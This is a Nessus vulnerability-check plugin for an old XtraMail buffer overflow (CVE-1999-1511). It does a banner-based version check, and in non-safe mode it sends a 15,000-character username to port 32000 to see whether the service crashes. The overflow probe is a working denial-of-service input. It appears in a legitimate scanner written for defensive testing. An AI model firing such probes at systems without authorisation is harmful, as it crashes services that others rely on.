XtraMail Control Service Username Overflow

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10323);
 script_version("1.36");
 script_cvs_date("Date: 2018/11/15 20:50:24");

 script_cve_id("CVE-1999-1511");
 script_bugtraq_id(791);

 script_name(english:"XtraMail Control Service Username Overflow");
 script_summary(english:"Attempts to crash the remote mail server");

 script_set_attribute(attribute:"synopsis", value:
"The remote host is running a mail server with a remote buffer overflow
vulnerability.");
 script_set_attribute(attribute:"description", value:
"The remote host is running a version of XtraMail with a remote buffer
overflow vulnerability. XtraMail includes a remote administration
utility which listens on port 32000 for logins. Providing a username
of over 15,000 characters causes a buffer overflow, which could allow
a remote attacker to crash the service or potentially execute
arbitrary code.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Nov/128");
 script_set_attribute(attribute:"solution", value:"Upgrade to the latest version of the software.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"1999/11/10");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/11/10");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_family(english:"Misc.");
 script_category(ACT_MIXED_ATTACK); # mixed
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");

 script_dependencie("find_service1.nasl", "sendmail_expn.nasl");
 script_require_ports(32000);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");

port = 32000;

if(safe_checks())
{
 if(!get_port_state(port))exit(0);
 soc = open_sock_tcp(port);
 if(!soc)exit(0);
 banner = recv_line(socket:soc, length:4096);
 close(soc);
 if(banner)
 {
  b = tolower(banner);
  if("xtramail" >< b)
  {
  if( ereg(pattern:".*1\.([0-9]|1[0-1])[^0-9].*",
   	string:b)
    )
    {
     data = "
Nessus reports this vulnerability using only information that was
gathered. Use caution when testing without safe checks enabled.";
     security_hole(port:port, extra: data);
    }
  }
 }
 exit(0);
}

if (report_paranoia < 2) audit(AUDIT_PARANOID);

if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
  s = recv_line(socket:soc, length:1024);
  if ( ! s ) exit(0);
  c = string("Username: ", crap(15000), "\r\n");
  send(socket:soc, data:c);
  s = recv_line(socket:soc, length:1024);
  if(!s)security_hole(port);
  close(soc);
 }
}